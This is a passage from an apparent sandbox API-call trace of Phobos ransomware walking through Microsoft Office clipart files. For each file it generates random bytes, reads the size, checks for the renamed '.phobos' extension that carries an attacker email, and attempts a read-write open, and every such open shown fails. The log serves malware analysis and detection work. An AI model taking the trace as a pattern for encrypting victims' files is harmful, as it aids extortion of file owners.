CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.858] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=23300) returned 1 [0149.858] CloseHandle (hObject=0x560) returned 1 [0149.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x220 [0149.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.862] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.862] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.870] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=22116) returned 1 [0149.870] CloseHandle (hObject=0x560) returned 1 [0149.871] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x220 [0149.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.876] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.878] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.878] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.880] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=15852) returned 1 [0149.880] CloseHandle (hObject=0x560) returned 1 [0149.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf")) returned 0x220 [0149.881] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.882] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.883] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.883] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.885] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2832) returned 1 [0149.885] CloseHandle (hObject=0x560) returned 1 [0149.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf")) returned 0x220 [0149.885] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.886] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0149.886] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=68776) returned 1 [0149.886] CloseHandle (hObject=0x560) returned 1 [0149.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf")) returned 0x220 [0149.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.981] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0149.982] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6920) returned 1 [0149.982] CloseHandle (hObject=0x564) returned 1 [0149.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220 [0149.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.983] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0149.983] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1256) returned 1 [0149.983] CloseHandle (hObject=0x564) returned 1 [0149.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220 [0149.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.984] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0149.984] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=2944) returned 1 [0149.984] CloseHandle (hObject=0x564) returned 1 [0149.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220 [0149.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.985] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0149.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.060] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=1220) returned 1 [0150.060] CloseHandle (hObject=0x564) returned 1 [0150.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220 [0150.060] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.060] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.060] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.061] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9734) returned 1 [0150.061] CloseHandle (hObject=0x564) returned 1 [0150.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf")) returned 0x220 [0150.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.062] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.063] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=9596) returned 1 [0150.063] CloseHandle (hObject=0x564) returned 1 [0150.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf")) returned 0x220 [0150.063] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086420.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086420.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.063] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.063] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.064] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=17016) returned 1 [0150.064] CloseHandle (hObject=0x564) returned 1 [0150.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf")) returned 0x220 [0150.065] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086424.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086424.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.065] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.065] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.066] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=21782) returned 1 [0150.066] CloseHandle (hObject=0x564) returned 1 [0150.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 0x220 [0150.066] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.066] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.066] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.067] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=35346) returned 1 [0150.067] CloseHandle (hObject=0x564) returned 1 [0150.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf")) returned 0x220 [0150.067] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086428.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.067] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.067] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.068] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=33434) returned 1 [0150.068] CloseHandle (hObject=0x564) returned 1 [0150.068] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0150.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.069] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.069] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14174) returned 1 [0150.070] CloseHandle (hObject=0x564) returned 1 [0150.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220 [0150.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.070] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.070] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=19898) returned 1 [0150.071] CloseHandle (hObject=0x564) returned 1 [0150.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220 [0150.071] GetFileAttributesW 